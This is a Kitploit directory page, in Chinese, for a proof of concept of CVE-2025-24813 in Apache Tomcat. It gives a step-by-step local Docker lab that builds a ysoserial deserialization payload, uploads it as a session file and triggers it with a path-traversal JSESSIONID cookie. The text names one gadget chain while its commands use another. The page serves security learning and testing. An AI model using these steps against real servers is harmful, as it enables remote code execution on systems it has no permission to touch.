Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
POC-CVE-2025-24813 — CVE-2025-24813的概念验证利用,展示Apache Tomcat HTTP PUT文件写入漏洞,导致恶意会话反序列化和远程代码执行。 | Kitploit
工具/GitHubGitHub/arthurabriel/poc-cve-2025-24813
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育Payload 开发
GitHubarthurabriel/poc-cve-2025-24813

POC-CVE-2025-24813

CVE-2025-24813的概念验证利用,展示Apache Tomcat HTTP PUT文件写入漏洞,导致恶意会话反序列化和远程代码执行。

查看仓库
8个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2025-24813 – 演示环境 (PoC)

此仓库包含一个简单应用,用于观察 CVE-2025-24813 的行为。该漏洞是 Apache Tomcat 中一个较新的漏洞,与 DefaultServlet 在启用写入功能 (readonly=false) 时的使用有关,允许通过 HTTP PUT(支持 partial PUT / Content-Range)进行不安全的写入操作,可能导致覆盖敏感文件(包括会话文件),从而在发生恶意反序列化时实现 RCE 场景。

关于此 PoC

该应用使用以下组件:

组件功能
Tomcat 9 + JDK 11用作目标的易受攻击服务器
context.xml启用 PersistentManager + FileStore,将会话保存到磁盘
upload.jsp接收数据并写入磁盘的简单端点
/tmp/app-data/上传文件将保存到的目录

初始想法是观察 Tomcat 在为此 CVE 研究而配置的环境中如何处理文件——首先发送一个无害请求(仅受控地写入一个文件,不尝试利用),然后发送一个恶意文件。

构建与运行

  1. 构建 Docker 镜像
root@kitploit:~
docker build -t tomcat-cve-2025-24813 .
  1. 运行容器
root@kitploit:~
docker run -d --name toy-cve -p 8080:8080 tomcat-cve-2025-24813

监控 execve 系统调用

在另一个终端中执行以下命令:

root@kitploit:~
PID=$(docker inspect -f '{{.State.Pid}}' toy-cve)
sudo strace -f -p $PID -e trace=execve -s 200

初始测试(安全无害的请求)

我们将发送一个简单文件,观察正常行为。

通过上传发送一个字符串:

root@kitploit:~
echo "Arquivo Normal" > nota.txt

curl -X POST http://localhost:8080/upload.jsp \
  -H "X-Filename: nota.txt" \
  --data-binary "Essa é apenas uma mensagem simples."

如果一切正常,在运行 strace 的终端中不应出现任何内容。

注意:如果 strace 中出现 SIGSEGV 错误,请忽略。这些是 JVM 产生的杂音。

利用漏洞

  1. 下载 YSoSerial 用于生成带有已知 gadget 链的 Java 序列化对象的工具。
root@kitploit:~
wget -O ysoserial-all.jar https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar
  1. 生成恶意会话格式的 payload

这里我们使用 CommonsCollections4 链生成一个对象,在易受攻击的场景中,该对象可能执行命令 touch /tmp/RCE。payload 将保存为 hack.session。

root@kitploit:~
java -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

如果上述命令报错,是因为为了确保与现代 Java 版本(9+)的兼容性,需要添加 --add-opens 标志以禁用强封装(JPMS),否则它会阻止 ysoserial 使用的反射机制。

root@kitploit:~
java --add-opens java.base/java.util=ALL-UNNAMED -jar ysoserial-all.jar CommonsCollections6 'touch /tmp/RCE' > hack.session

执行此命令后,你将得到一个本地二进制文件:

root@kitploit:~
hack.session
  1. 将 payload 上传到服务器

我们将 .session 文件发送到 JSP 端点,该端点将内容直接写入 /tmp/app-data 目录。

root@kitploit:~
curl -v -X POST \
     -H "X-Filename: hack.session" \
     --data-binary @hack.session \
     http://localhost:8080/upload.jsp

预期输出:

Arquivo salvo com sucesso em: /tmp/app-data/hack.session

📌 此时没有任何命令被执行——仅发生了文件写入到服务器。

  1. 使用注入的会话

现在我们发送一个包含 JSESSIONID=hack cookie 的请求,尝试迫使 Tomcat 加载刚刚创建的会话。

root@kitploit:~
curl -v http://localhost:8080/index.jsp -H "Cookie: JSESSIONID=../../../../../../tmp/app-data/hack"

在运行 strace 的终端中,应该会显示 execve 命令创建文件的过程。

要查看文件是否已被创建,我们还可以进入容器进行检查:

root@kitploit:~
docker exec -it toy-cve ls -l /tmp/
下载工具